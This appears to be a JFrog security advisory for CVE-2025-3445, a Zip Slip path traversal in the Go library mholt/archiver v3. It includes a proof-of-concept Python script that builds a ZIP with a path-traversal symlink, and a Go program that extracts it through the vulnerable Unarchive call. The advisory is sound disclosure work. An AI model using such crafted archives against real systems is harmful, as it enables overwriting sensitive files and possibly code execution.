< Back

- mholt/archiver Zip Slip Path Traversal

CVE-2025-3445 | CVSS 8.1

JFrog Severity:high

Discovered ByOfri Ouzanof the JFrog Security Research Team

Published 14 Apr, 2025 | Last updated 14 Apr, 2025

This vulnerability allows the use of a crafted ZIP file containing path traversal symlinks to create or overwrite files with the privileges of the user or application utilizing the library.

github.com/mholt/archiver/v3

[3.0.0,3.5.1]

A Zip Slip vulnerability has been identified in mholt/archiver in Go. This vulnerability allows the use of a crafted ZIP file containing path traversal symlinks to create or overwrite files with the privileges of the user or application utilizing the library.

When using the archiver.Unarchive functionality with ZIP files like this: archiver.Unarchive(zipFile, outputDir)

A crafted ZIP file can be extracted in such a way that it writes files to the affected system with the same privileges as the application executing this vulnerable functionality. Consequently, sensitive files may be overwritten, potentially leading to privilege escalation, code execution, and other severe outcomes in some cases.

It is worth noting that a similar vulnerability has been identified in TAR files (CVE-2024-0406), which has yet to be officially fixed. Also, we have observed the 0.1.0 release of the archives package in which the Unarchive() functionality has been removed from various parts of the project. However, the latest stable release that is currently available in the archiver package (v3.5.1) remains affected by this vulnerability.

An example to create a crafted zip file that has symlinks with path traversal:

create_zip.py:

import zipfile
import os
import io

def create_zip(zip_path):
    with zipfile.ZipFile(zip_path, 'w') as zip_ref:
        symlink_target = '../../../here'
        symlink_info = zipfile.ZipInfo('./x')
        symlink_info.external_attr = 0o120777 << 16
        zip_ref.writestr(symlink_info, symlink_target)
        regular_file_content = b'Exploited!\n'
        zip_ref.writestr('./x', regular_file_content)

if __name__ == "__main__":
    zip_path = "exploit.zip"
    create_zip(zip_path)
    print(f"Zip file created at {zip_path} with the specific conditions.")

An example of a vulnerable application that uses the vulnerable archiver.Unarchive() functionality with a provided crafted zip file:

main.go:

package main

import (
    "fmt"
    "log"
    "github.com/mholt/archiver/v3"
)

func main() {
    zipFile := "exploit.zip"
    outputDir := "output_directory"
    err := archiver.Unarchive(zipFile, outputDir)
    if err != nil {
        log.Fatalf("Failed to unarchive %s: %v", zipFile, err)
    }
    fmt.Printf("Successfully extracted %s to %s\n", zipFile, outputDir)
}

The https://github.com/mholt/archiver project is deprecated and replaced by the project https://github.com/mholt/archives which is not affected by this issue. It is recommended to switch to this maintained library if possible.

Original advisory

< Back